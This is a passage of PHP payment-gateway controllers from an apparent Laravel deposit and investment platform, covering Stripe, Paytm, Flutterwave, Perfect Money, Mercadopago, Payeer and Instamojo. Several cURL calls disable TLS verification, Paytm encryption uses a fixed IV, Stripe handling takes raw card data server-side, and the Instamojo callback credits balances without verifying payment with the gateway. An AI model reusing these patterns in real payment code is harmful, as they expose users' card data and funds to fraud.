Cartalyst\Stripe\Laravel\Facades\Stripe; use Illuminate\Support\Facades\Session; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Deposit; use App\Models\Generalsetting; use App\Models\PaymentGateway; use App\Models\Transaction; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Str; use Stripe\Error\Card; use Carbon\Carbon; use Input; use Redirect; use URL; use Validator; use Config; class StripeController extends Controller { public function __construct() { $data = PaymentGateway::whereKeyword('Stripe')->first(); $paydata = $data->convertAutoData(); Config::set('services.stripe.key', $paydata['key']); Config::set('services.stripe.secret', $paydata['secret']); } public function store(Request $request){ $gs = Generalsetting::findOrFail(1); $item_name = $gs->title." Deposit"; $item_amount = $request->amount; $support = ['USD']; if(!in_array($request->currency_code,$support)){ return redirect()->back()->with('warning','Please Select USD Currency For Stripe.'); } $validator = Validator::make($request->all(),[ 'cardNumber' => 'required', 'cardCVC' => 'required', 'month' => 'required', 'year' => 'required', ]); if ($validator->passes()) { $stripe = Stripe::make(Config::get('services.stripe.secret')); try{ $token = $stripe->tokens()->create([ 'card' =>[ 'number' => $request->cardNumber, 'exp_month' => $request->month, 'exp_year' => $request->year, 'cvc' => $request->cardCVC, ], ]); if (!isset($token['id'])) { return back()->with('error','Token Problem With Your Token.'); } $charge = $stripe->charges()->create([ 'card' => $token['id'], 'currency' => $request->currency_code, 'amount' => $item_amount, 'description' => $item_name, ]); if ($charge['status'] == 'succeeded') { $deposit = Deposit::findOrFail($request->deposit_id); $deposit->method = $request->method; $deposit->txnid = $charge['balance_transaction']; $deposit->charge_id = $charge['id']; $deposit->status = 'complete'; $deposit->update(); $user = User::findOrFail($deposit->user_id); $user->balance += $deposit->amount; $user->save(); $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $deposit->amount; $trans->type = "Deposit"; $trans->profit = "plus"; $trans->txnid = $deposit->deposit_number; $trans->user_id = $user->id; $trans->save(); if($gs->is_smtp == 1) { $data = [ 'to' => $user->email, 'type' => "Deposit", 'cname' => $user->name, 'oamount' => $item_amount, 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $user->email; $subject = " You have deposited successfully."; $msg = "Hello ".$user->name."!\nYou have invested successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('success','Deposit amount '.$request->amount.' (USD) successfully!'); } }catch (Exception $e){ return back()->with('unsuccess', $e->getMessage()); }catch (\Cartalyst\Stripe\Exception\CardErrorException $e){ return back()->with('unsuccess', $e->getMessage()); }catch (\Cartalyst\Stripe\Exception\MissingParameterException $e){ return back()->with('unsuccess', $e->getMessage()); } } return back()->with('unsuccess', 'Please Enter Valid Credit Card Informations.'); } } Controllers/Api/Deposit/PaytmController.php 0000644 00000036040 15111246742 0015047 0 ustar 00 <?php namespace App\Http\Controllers\Api\Deposit; use App\Classes\GeniusMailer; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Deposit; use App\Models\Generalsetting; use App\Models\PaymentGateway; use App\Models\Transaction; use App\Models\User; use Carbon\Carbon; use Illuminate\Support\Facades\Session; use Illuminate\Support\Str; class PaytmController extends Controller { public function store(Request $request){ if($request->currency_code != "INR") { return back()->with('warning','Please Select INR Currency For Paytm.'); } $gs = Generalsetting::findOrFail(1); $deposit = Deposit::findOrFail($request->deposit_id); $item_name = $gs->title." Deposit"; $item_number = $deposit->deposit_number; $item_amount = $request->amount; Session::put('method',$request->method); Session::put('deposit_id',$request->deposit_id); $data_for_request = $this->handlePaytmRequest( $item_number, round($item_amount,2) ); $paytm_txn_url = 'https://securegw-stage.paytm.in/theia/processTransaction'; $paramList = $data_for_request['paramList']; $checkSum = $data_for_request['checkSum']; return view( 'frontend.paytm-merchant-form', compact( 'paytm_txn_url', 'paramList', 'checkSum' ) ); } public function handlePaytmRequest( $transaction_id, $amount) { $gs = Generalsetting::first(); $data = PaymentGateway::whereKeyword('Paytm')->first(); $paydata = $data->convertAutoData(); $this->getAllEncdecFunc(); $checkSum = ""; $paramList = array(); $paramList["MID"] = $paydata['merchant']; $paramList["ORDER_ID"] = $transaction_id; $paramList["CUST_ID"] = $transaction_id; $paramList["INDUSTRY_TYPE_ID"] = $paydata['industry']; $paramList["CHANNEL_ID"] = 'WEB'; $paramList["TXN_AMOUNT"] = $amount; $paramList["WEBSITE"] = $paydata['website']; $paramList["CALLBACK_URL"] = route('api.deposit.paytm.notify'); $paytm_merchant_key = $paydata['secret']; $checkSum = getChecksumFromArray( $paramList, $paytm_merchant_key ); return array( 'checkSum' => $checkSum, 'paramList' => $paramList ); } function getAllEncdecFunc() { function encrypt_e($input, $ky) { $key = html_entity_decode($ky); $iv = "@@@@&&&&####$$$$"; $data = openssl_encrypt ( $input , "AES-128-CBC" , $key, 0, $iv ); return $data; } function decrypt_e($crypt, $ky) { $key = html_entity_decode($ky); $iv = "@@@@&&&&####$$$$"; $data = openssl_decrypt ( $crypt , "AES-128-CBC" , $key, 0, $iv ); return $data; } function pkcs5_pad_e($text, $blocksize) { $pad = $blocksize - (strlen($text) % $blocksize); return $text . str_repeat(chr($pad), $pad); } function pkcs5_unpad_e($text) { $pad = ord($text(strlen($text) - 1)); if ($pad > strlen($text)) return false; return substr($text, 0, -1 * $pad); } function generateSalt_e($length) { $random = ""; srand((double) microtime() * 1000000); $data = "AbcDE123IJKLMN67QRSTUVWXYZ"; $data .= "aBCdefghijklmn123opq45rs67tuv89wxyz"; $data .= "0FGH45OP89"; for ($i = 0; $i < $length; $i++) { $random .= substr($data, (rand() % (strlen($data))), 1); } return $random; } function checkString_e($value) { if ($value == 'null') $value = ''; return $value; } function getChecksumFromArray($arrayList, $key, $sort=1) { if ($sort != 0) { ksort($arrayList); } $str = getArray2Str($arrayList); $salt = generateSalt_e(4); $finalString = $str . "|" . $salt; $hash = hash("sha256", $finalString); $hashString = $hash . $salt; $checksum = encrypt_e($hashString, $key); return $checksum; } function getChecksumFromString($str, $key) { $salt = generateSalt_e(4); $finalString = $str . "|" . $salt; $hash = hash("sha256", $finalString); $hashString = $hash . $salt; $checksum = encrypt_e($hashString, $key); return $checksum; } function verifychecksum_e($arrayList, $key, $checksumvalue) { $arrayList = removeCheckSumParam($arrayList); ksort($arrayList); $str = getArray2StrForVerify($arrayList); $paytm_hash = decrypt_e($checksumvalue, $key); $salt = substr($paytm_hash, -4); $finalString = $str . "|" . $salt; $website_hash = hash("sha256", $finalString); $website_hash .= $salt; $validFlag = "FALSE"; if ($website_hash == $paytm_hash) { $validFlag = "TRUE"; } else { $validFlag = "FALSE"; } return $validFlag; } function verifychecksum_eFromStr($str, $key, $checksumvalue) { $paytm_hash = decrypt_e($checksumvalue, $key); $salt = substr($paytm_hash, -4); $finalString = $str . "|" . $salt; $website_hash = hash("sha256", $finalString); $website_hash .= $salt; $validFlag = "FALSE"; if ($website_hash == $paytm_hash) { $validFlag = "TRUE"; } else { $validFlag = "FALSE"; } return $validFlag; } function getArray2Str($arrayList) { $findme = 'REFUND'; $findmepipe = '|'; $paramStr = ""; $flag = 1; foreach ($arrayList as $key => $value) { $pos = strpos($value, $findme); $pospipe = strpos($value, $findmepipe); if ($pos !== false || $pospipe !== false) { continue; } if ($flag) { $paramStr .= checkString_e($value); $flag = 0; } else { $paramStr .= "|" . checkString_e($value); } } return $paramStr; } function getArray2StrForVerify($arrayList) { $paramStr = ""; $flag = 1; foreach ($arrayList as $key => $value) { if ($flag) { $paramStr .= checkString_e($value); $flag = 0; } else { $paramStr .= "|" . checkString_e($value); } } return $paramStr; } function redirect2PG($paramList, $key) { $hashString = getchecksumFromArray($paramList, $key); $checksum = encrypt_e($hashString, $key); } function removeCheckSumParam($arrayList) { if (isset($arrayList["CHECKSUMHASH"])) { unset($arrayList["CHECKSUMHASH"]); } return $arrayList; } function getTxnStatus($requestParamList) { return callAPI(PAYTM_STATUS_QUERY_URL, $requestParamList); } function getTxnStatusNew($requestParamList) { return callNewAPI(PAYTM_STATUS_QUERY_NEW_URL, $requestParamList); } function initiateTxnRefund($requestParamList) { $CHECKSUM = getRefundChecksumFromArray($requestParamList,PAYTM_MERCHANT_KEY,0); $requestParamList["CHECKSUM"] = $CHECKSUM; return callAPI(PAYTM_REFUND_URL, $requestParamList); } function callAPI($apiURL, $requestParamList) { $jsonResponse = ""; $responseParamList = array(); $JsonData =json_encode($requestParamList); $postData = 'JsonData='.urlencode($JsonData); $ch = curl_init($apiURL); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', 'Content-Length: ' . strlen($postData)) ); $jsonResponse = curl_exec($ch); $responseParamList = json_decode($jsonResponse,true); return $responseParamList; } function callNewAPI($apiURL, $requestParamList) { $jsonResponse = ""; $responseParamList = array(); $JsonData =json_encode($requestParamList); $postData = 'JsonData='.urlencode($JsonData); $ch = curl_init($apiURL); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', 'Content-Length: ' . strlen($postData)) ); $jsonResponse = curl_exec($ch); $responseParamList = json_decode($jsonResponse,true); return $responseParamList; } function getRefundChecksumFromArray($arrayList, $key, $sort=1) { if ($sort != 0) { ksort($arrayList); } $str = getRefundArray2Str($arrayList); $salt = generateSalt_e(4); $finalString = $str . "|" . $salt; $hash = hash("sha256", $finalString); $hashString = $hash . $salt; $checksum = encrypt_e($hashString, $key); return $checksum; } function getRefundArray2Str($arrayList) { $findmepipe = '|'; $paramStr = ""; $flag = 1; foreach ($arrayList as $key => $value) { $pospipe = strpos($value, $findmepipe); if ($pospipe !== false) { continue; } if ($flag) { $paramStr .= checkString_e($value); $flag = 0; } else { $paramStr .= "|" . checkString_e($value); } } return $paramStr; } function callRefundAPI($refundApiURL, $requestParamList) { $jsonResponse = ""; $responseParamList = array(); $JsonData =json_encode($requestParamList); $postData = 'JsonData='.urlencode($JsonData); $ch = curl_init($apiURL); curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_URL, $refundApiURL); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $headers = array(); $headers[] = 'Content-Type: application/json'; curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $jsonResponse = curl_exec($ch); $responseParamList = json_decode($jsonResponse,true); return $responseParamList; } } function getConfigPaytmSettings() { $gs = Generalsetting::first(); $data = PaymentGateway::whereKeyword('Paytm')->first(); $paydata = $data->convertAutoData(); if ($paydata['sandbox_check'] == 1) { define('PAYTM_ENVIRONMENT', 'TEST'); } elseif ($paydata['sandbox_check'] == 0) { define('PAYTM_ENVIRONMENT', 'PROD'); } define('PAYTM_MERCHANT_KEY', $paydata['secret']); define('PAYTM_MERCHANT_MID', $paydata['merchant']); define('PAYTM_MERCHANT_WEBSITE', $paydata['website']); $PAYTM_STATUS_QUERY_NEW_URL='https://securegw-stage.paytm.in/merchant-status/getTxnStatus'; $PAYTM_TXN_URL='https://securegw-stage.paytm.in/theia/processTransaction'; if (PAYTM_ENVIRONMENT == 'PROD') { $PAYTM_STATUS_QUERY_NEW_URL='https://securegw.paytm.in/merchant-status/getTxnStatus'; $PAYTM_TXN_URL='https://securegw.paytm.in/theia/processTransaction'; } define('PAYTM_REFUND_URL', ''); define('PAYTM_STATUS_QUERY_URL', $PAYTM_STATUS_QUERY_NEW_URL); define('PAYTM_STATUS_QUERY_NEW_URL', $PAYTM_STATUS_QUERY_NEW_URL); define('PAYTM_TXN_URL', $PAYTM_TXN_URL); } public function paytmCallback( Request $request ) { $method = Session::get('method'); $deposit_id = Session::get('deposit_id'); $deposit = Deposit::findOrFail($deposit_id); $transaction_id = $request['ORDERID']; if ( 'TXN_SUCCESS' === $request['STATUS'] ) { $transaction_id = $request['TXNID']; $data['txnid'] = $transaction_id; $data['method'] = $method; $data['status'] = "complete"; $deposit->update($data); $gs = Generalsetting::findOrFail(1); $user = User::findOrFail($deposit->user_id); $user->balance += $deposit->amount; $user->save(); $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $deposit->amount; $trans->type = "Deposit"; $trans->profit = "plus"; $trans->txnid = $deposit->deposit_number; $trans->user_id = $user->id; $trans->save(); if($gs->is_smtp == 1) { $data = [ 'to' => $user->email, 'type' => "Deposit", 'cname' => $user->name, 'oamount' => $deposit->amount, 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $user->email; $subject = " You have deposited successfully."; $msg = "Hello ".$user->name."!\nYou have invested successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } Session::forget('method'); Session::forget('deposit_id'); return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('success','Deposit amount successfully!'); } else if( 'TXN_FAILURE' === $request['STATUS'] ){ return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('unsuccess', 'Payment Cancelled.'); } } } Controllers/Api/Deposit/FlutterwaveController.php 0000644 00000014227 15111246742 0016270 0 ustar 00 <?php namespace App\Http\Controllers\Api\Deposit; use App\Classes\GeniusMailer; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Deposit; use App\Models\Generalsetting; use App\Models\PaymentGateway; use App\Models\Transaction; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Facades\Session; use Illuminate\Support\Str; class FlutterwaveController extends Controller { public $public_key; private $secret_key; public function __construct() { $data = PaymentGateway::whereKeyword('flutterwave')->first(); $paydata = $data->convertAutoData(); $this->public_key = $paydata['public_key']; $this->secret_key = $paydata['secret_key']; } public function store(Request $request) { $curl = curl_init(); $deposit = Deposit::findOrFail($request->deposit_id); $user = User::findOrFail($deposit->user_id); $customer_email = $user->email; $currency = $request->currency_code; $PBFPubKey = $this->public_key; $redirect_url = route('api.deposit.flutter.notify'); $payment_plan = ""; $settings = Generalsetting::first(); $item_name = $settings->title." Deposit"; $item_number = $deposit->deposit_number; $txref = $item_number; $item_amount = $request->amount; Session::put('method',$request->method); Session::put('deposit_id',$request->deposit_id); curl_setopt_array($curl, array( CURLOPT_URL => "https://api.ravepay.co/flwv3-pug/getpaidx/api/v2/hosted/pay", CURLOPT_RETURNTRANSFER => true, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => json_encode([ 'amount' => $item_amount, 'customer_email' => $customer_email, 'currency' => $currency, 'txref' => $txref, 'PBFPubKey' => $PBFPubKey, 'redirect_url' => $redirect_url, 'payment_plan' => $payment_plan ]), CURLOPT_HTTPHEADER => [ "content-type: application/json", "cache-control: no-cache" ], )); $response = curl_exec($curl); $err = curl_error($curl); if($err){ die('Curl returned error: ' . $err); } $transaction = json_decode($response); if(!$transaction->data && !$transaction->data->link){ print_r('API returned error: ' . $transaction->message); } return redirect($transaction->data->link); } public function notify(Request $request) { $input = $request->all(); $method = Session::get('method'); $deposit_id = Session::get('deposit_id'); $deposit = Deposit::findOrFail($deposit_id); $user = User::findOrFail($deposit->user_id); if($request->cancelled == "true"){ return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('success',__('Payment Cancelled!')); } if (isset($input['txref'])) { $ref = $input['txref']; $query = array( "SECKEY" => $this->secret_key, "txref" => $ref ); $data_string = json_encode($query); $ch = curl_init('https://api.ravepay.co/flwv3-pug/getpaidx/api/v2/verify'); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json')); $response = curl_exec($ch); curl_close($ch); $resp = json_decode($response, true); if ($resp['status'] == "success") { $paymentStatus = $resp['data']['status']; $chargeResponsecode = $resp['data']['chargecode']; if (($chargeResponsecode == "00" || $chargeResponsecode == "0") && ($paymentStatus == "successful")) { $order['txnid'] = $resp['data']['txid']; $data['status'] = "complete"; $deposit->update($data); $gs = Generalsetting::findOrFail(1); $user->balance += $deposit->amount; $user->save(); $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $deposit->amount; $trans->type = "Deposit"; $trans->profit = "plus"; $trans->txnid = $deposit->deposit_number; $trans->user_id = $user->id; $trans->save(); if($gs->is_smtp == 1) { $data = [ 'to' => $user->email, 'type' => "Deposit", 'cname' => $user->name, 'oamount' => $deposit->amount, 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $user->email; $subject = " You have deposited successfully."; $msg = "Hello ".$user->name."!\nYou have invested successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('success','Deposit amount successfully!'); } else { return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('error','Something went wrong!'); } } } else { return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('error','Something went wrong!'); } } } Controllers/Api/Deposit/PerfectMoneyController.php 0000644 00000007716 15111246742 0016365 0 ustar 00 <?php namespace App\Http\Controllers\Api\Deposit; use App\Models\Deposit; use App\Models\Currency; use Illuminate\Support\Str; use Illuminate\Http\Request; use App\Models\Generalsetting; use App\Models\PaymentGateway; use App\Http\Controllers\Controller; use App\Models\User; use App\Repositories\DepositRepository; use Illuminate\Support\Facades\Session; class PerfectMoneyController extends Controller { public $orderRepositorty; public $allusers = []; public function __construct(DepositRepository $orderRepositorty) { $this->orderRepositorty = $orderRepositorty; $this->payment = PaymentGateway::whereKeyword('perfectmoney')->first(); $this->paydata = $this->payment->convertAutoData(); } public function store(Request $request){ $deposit = Deposit::findOrFail($request->deposit_id); $gs = Generalsetting::findOrFail(1); $deposit_name = $gs->title." Deposit"; $deposit_number = $deposit->deposit_number; $user = User::findOrFail($deposit->user_id); Session::put('method',$request->method); Session::put('deposit_id',$request->deposit_id); $info['PAYEE_ACCOUNT'] = trim($this->paydata['wallet_code']); $info['PAYEE_NAME'] = $deposit_name; $info['PAYMENT_ID'] = $deposit_number; $info['PAYMENT_AMOUNT'] = round($deposit->amount,2); $info['PAYMENT_UNITS'] = $request->currency_code; $info['STATUS_URL'] = route('api.deposit.perfectmoney.notify'); $info['PAYMENT_URL'] = route('api.user.deposit.confirm',$deposit->id); $info['PAYMENT_URL_METHOD'] = 'POST'; $info['NOPAYMENT_URL'] = route('api.user.deposit.confirm',$deposit->id); $info['NOPAYMENT_URL_METHOD'] = 'POST'; $info['SUGGESTED_MEMO'] = $user->name; $info['BAGGAGE_FIELDS'] = 'IDENT'; $data['info'] = $info; $data['method'] = 'post'; $data['url'] = 'https://perfectmoney.is/api/step1.asp'; return view('payment.redirect',compact('data')); } public function notify(Request $request){ $method = Session::get('method'); $deposit_id = Session::get('deposit_id'); $deposit = Deposit::findOrFail($deposit_id); $user = User::findOrFail($deposit->user_id); $alt_passphrase = strtoupper(md5($this->paydata['alternative_passphrase'])); define('ALTERNATE_PHRASE_HASH', $alt_passphrase); define('PATH_TO_LOG', '/somewhere/out/of/document_root/'); $string = $_POST['PAYMENT_ID'] . ':' . $_POST['PAYEE_ACCOUNT'] . ':' . $_POST['PAYMENT_AMOUNT'] . ':' . $_POST['PAYMENT_UNITS'] . ':' . $_POST['PAYMENT_BATCH_NUM'] . ':' . $_POST['PAYER_ACCOUNT'] . ':' . ALTERNATE_PHRASE_HASH . ':' . $_POST['TIMESTAMPGMT']; $hash = strtoupper(md5($string)); $hash2 = $_POST['V2_HASH']; if ($hash == $hash2) { foreach ($_POST as $key => $value) { $details[$key] = $value; } $pay_amount = $_POST['PAYMENT_AMOUNT']; $track = $_POST['PAYMENT_ID']; if ($_POST['PAYEE_ACCOUNT'] == $this->paydata['wallet_code'] && $pay_amount == round($deposit->amount,2) && $deposit->status == "pending") { $deposit->txnid = $details; $deposit->status = "complete"; $deposit->update(); $user->balance += $deposit->amount; $user->save(); Session::forget('method'); Session::forget('deposit_id'); return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('message','Deposit successfully complete.'); }else{ return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('unsuccess','Something went wrong!'); } }else{ return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('unsuccess','Something went wrong!'); } } } Controllers/Api/Deposit/MercadopagoController.php 0000644 00000004341 15111246742 0016175 0 ustar 00 <?php namespace App\Http\Controllers\Api\Deposit; use App\Classes\GeniusMailer; use App\Http\Controllers\Controller; use MercadoPago; use App\Models\Currency; use App\Models\Deposit; use App\Models\Generalsetting; use App\Models\PaymentGateway; use App\Models\Transaction; use App\Models\User; use App\Repositories\DepositRepository; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Str; class MercadopagoController extends Controller { public $orderRepositorty; public $allusers = []; public function __construct(DepositRepository $orderRepositorty) { $this->orderRepositorty = $orderRepositorty; $this->payment = PaymentGateway::whereKeyword('skrill')->first(); $this->paydata = $this->payment->convertAutoData(); } public function store(Request $request){ $deposit = Deposit::findOrFail($request->deposit_id); $gs = Generalsetting::findOrFail(1); $user = User::findOrFail($deposit->user_id); $item_name = $gs->title." Deposit"; $item_number = $deposit->deposit_number; $item_amount = $request->amount; $payment_amount = $item_amount; $data = PaymentGateway::whereKeyword('mercadopago')->first(); $paydata = $data->convertAutoData(); MercadoPago\SDK::setAccessToken($paydata['token']); $payment = new MercadoPago\Payment(); $payment->transaction_amount = $payment_amount; $payment->token = $request->token; $payment->description = 'Deposit '.$gs->title; $payment->installments = 1; $payment->payer = array( "email" => $user ? $user ->email : 'example@gmail.com' ); $payment->save(); if ($payment->status == 'approved') { $deposit->charge_id = $payment->payer->id; $deposit->status = 'complete'; $deposit->update(); $user->balance += $deposit->amount; $user->save(); return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('message','Deposit successfully complete.'); }else{ return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('unsuccess','Something Went wrong!'); } } } Controllers/Api/Deposit/PayeerController.php 0000644 00000007315 15111246742 0015205 0 ustar 00 <?php namespace App\Http\Controllers\Api\Deposit; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Deposit; use App\Models\Generalsetting; use App\Models\PaymentGateway; use App\Models\User; use App\Repositories\DepositRepository; use Illuminate\Http\Request; use Illuminate\Support\Facades\Session; use Illuminate\Support\Str; class PayeerController extends Controller { public $orderRepositorty; public $allusers = []; public function __construct(DepositRepository $orderRepositorty) { $this->orderRepositorty = $orderRepositorty; $this->payment = PaymentGateway::whereKeyword('payeer')->first(); $this->paydata = $this->payment->convertAutoData(); } public function store(Request $request){ $deposit = Deposit::findOrFail($request->deposit_id); $gs = Generalsetting::findOrFail(1); $deposit_name = $gs->title." Deposit"; $deposit_number = $deposit->deposit_number; Session::put('method',$request->method); Session::put('deposit_id',$request->deposit_id); $arHash = [ trim($this->paydata['merchant_id']), $deposit_number, $request->amount, $request->currency_code, base64_encode("Pay To $gs->title"), trim($this->paydata['secret_key']) ]; $info['m_shop'] = trim($this->paydata['merchant_id']); $info['m_orderid'] = $deposit_number; $info['m_amount'] = $request->amount; $info['m_curr'] = $request->currency_code; $info['m_desc'] = base64_encode("Pay To $gs->title"); $info['m_sign'] = strtoupper(hash('sha256', implode(":", $arHash))); $info['lang'] = 'en'; $data['info'] = $info; $data['method'] = "GET"; $data['url'] = "https://payeer.com/merchant"; return view('payment.redirect',compact('data')); } public function notify(Request $request) { if (isset($request->m_operation_id) && isset($request->m_sign)) { $sign_hash = strtoupper(hash('sha256', implode(":", array( $request->m_operation_id, $request->m_operation_ps, $request->m_operation_date, $request->m_operation_pay_date, $request->m_shop, $request->m_orderid, $request->m_amount, $request->m_curr, $request->m_desc, $request->m_status, $this->paydata['secret_key'] )))); $method = Session::get('method'); $deposit_id = Session::get('deposit_id'); $deposit = Deposit::findOrFail($deposit_id); if ($request->m_sign != $sign_hash) { return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('unsuccess','digital signature not matched!'); } else { $user = User::findOrFail($deposit->user_id); if ($request->m_amount == round($deposit->amount,2) && $request->m_status == 'success' && $deposit->status == 'pending') { $deposit->status = "complete"; $deposit->update(); $user->balance += $deposit->amount; $user->save(); Session::forget('method'); Session::forget('deposit_id'); } else { return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('unsuccess','transaction was unsuccessful!'); } } } else { return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('unsuccess','transaction was unsuccessful!'); } } } Controllers/Api/Deposit/InstamojoController.php 0000644 00000011020 15111246742 0015707 0 ustar 00 <?php namespace App\Http\Controllers\Api\Deposit; use Illuminate\Support\Facades\Session; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use App\Models\PaymentGateway; use App\Models\Generalsetting; use App\Classes\GeniusMailer; use Illuminate\Http\Request; use Illuminate\Support\Str; use App\Classes\Instamojo; use App\Models\Currency; use App\Models\Deposit; use App\Models\Transaction; use App\Models\User; class InstamojoController extends Controller { public function store(Request $request) { $input = $request->all(); $gs = Generalsetting::first(); $data = PaymentGateway::whereKeyword('instamojo')->first(); $paydata = $data->convertAutoData(); $total = $request->amount; if($request->currency_code != "INR") { return redirect()->back()->with('warning',__('Please Select INR Currency For This Payment.')); } $deposit = Deposit::findOrFail($request->deposit_id); $user = User::findOrFail($deposit->user_id); $order['item_name'] = $gs->title." Deposit"; $order['item_number'] = $deposit->deposit_number; $order['item_amount'] = $total; $cancel_url = route('api.deposit.paypal.cancel'); $notify_url = route('api.deposit.instamojo.notify'); if($paydata['sandbox_check'] == 1){ $api = new Instamojo($paydata['key'], $paydata['token'], 'https://test.instamojo.com/api/1.1/'); } else { $api = new Instamojo($paydata['key'], $paydata['token']); } try { $response = $api->paymentRequestCreate(array( "purpose" => $order['item_name'], "amount" => $order['item_amount'], "send_email" => true, "email" => $user->email, "redirect_url" => $notify_url )); $redirect_url = $response['longurl']; Session::put('method',$request->method); Session::put('deposit_id',$request->deposit_id); Session::put('order_payment_id', $response['id']); return redirect($redirect_url); } catch (Exception $e) { return redirect($cancel_url)->with('unsuccess','Error: ' . $e->getMessage()); } } public function notify(Request $request) { $method = Session::get('method'); $deposit_id = Session::get('deposit_id'); $deposit = Deposit::findOrFail($deposit_id); $input_data = $request->all(); $user = User::findOrFail($deposit->user_id); $payment_id = Session::get('order_payment_id'); if($input_data['payment_status'] == 'Failed'){ return redirect()->back()->with('unsuccess','Something Went wrong!'); } if ($input_data['payment_request_id'] == $payment_id) { $deposit['method'] = $method; $deposit['txnid'] = $payment_id; $deposit['status'] = "complete"; $deposit->save(); $gs = Generalsetting::findOrFail(1); $user = auth()->user(); $user->balance += $deposit->amount; $user->save(); $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $deposit->amount; $trans->type = "Deposit"; $trans->profit = "plus"; $trans->txnid = $deposit->deposit_number; $trans->user_id = $user->id; $trans->save(); if($gs->is_smtp == 1) { $data = [ 'to' => $user->email, 'type' => "Deposit", 'cname' => $user->name, 'oamount' => $deposit->amount, 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $user->email; $subject = " You have deposited successfully."; $msg = "Hello ".$user->name."!\nYou have invested successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('success','Deposit amount successfully!'); } return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('unsuccess','Something Went wrong!'); } } Controllers/Api/User/InvestController.php 0000644 00000035733 15111246742 0014544 0 ustar 00 <?php namespace App\Http\Controllers\Api\User; use App\Classes\GeniusMailer; use App\Http\Controllers\Controller; use App\Http\Resources\InvestCheckoutResource; use App\Http\Resources\InvestResource; use App\Models\Currency; use App\Models\Generalsetting; use App\Models\Invest; use App\Models\PaymentGateway; use App\Models\Plan; use App\Models\Referral; use App\Models\ReferralBonus; use App\Models\Transaction; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Carbon; use Illuminate\Support\Facades\Session; use Illuminate\Support\Str; class InvestController extends Controller { public $gs; public $allusers = []; public $referral_ids = []; public function __construct() { $this->gs = Generalsetting::findOrFail(1); } public function plans(){ try{ $data = Plan::whereStatus(1) ->orderBy('id','desc') ->get(); return response()->json(['status' => true, 'data' => $data, 'error' => []]); }catch(\Exception $e){ return response()->json(['status' => false, 'data'=> [], 'error'=> $e->getMessage()]); } } public function mainWallet(Request $request){ try{ if($request->amount>0){ if($plan = Plan::whereId($request->invest_id)->first()){ if($plan->invest_type == 'range'){ if(rootPrice($plan->min_amount) > $request->amount ){ return response()->json(['status' => false, 'data'=> [], 'error'=> 'Amount Should be greater than this!']); } if($request->amount > rootPrice($plan->max_amount)){ return response()->json(['status' => 